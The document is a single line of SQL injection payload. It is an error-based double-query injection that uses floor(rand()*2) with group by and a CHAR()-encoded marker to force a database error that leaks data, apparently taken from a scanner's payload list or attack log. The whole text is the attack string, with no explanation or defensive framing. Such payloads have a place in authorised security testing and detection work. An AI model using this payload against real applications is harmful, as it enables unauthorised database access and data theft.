(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(107),CHAR(50),CHAR(97),CHAR(69),CHAR(52),CHAR(89),CHAR(113),CHAR(51)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))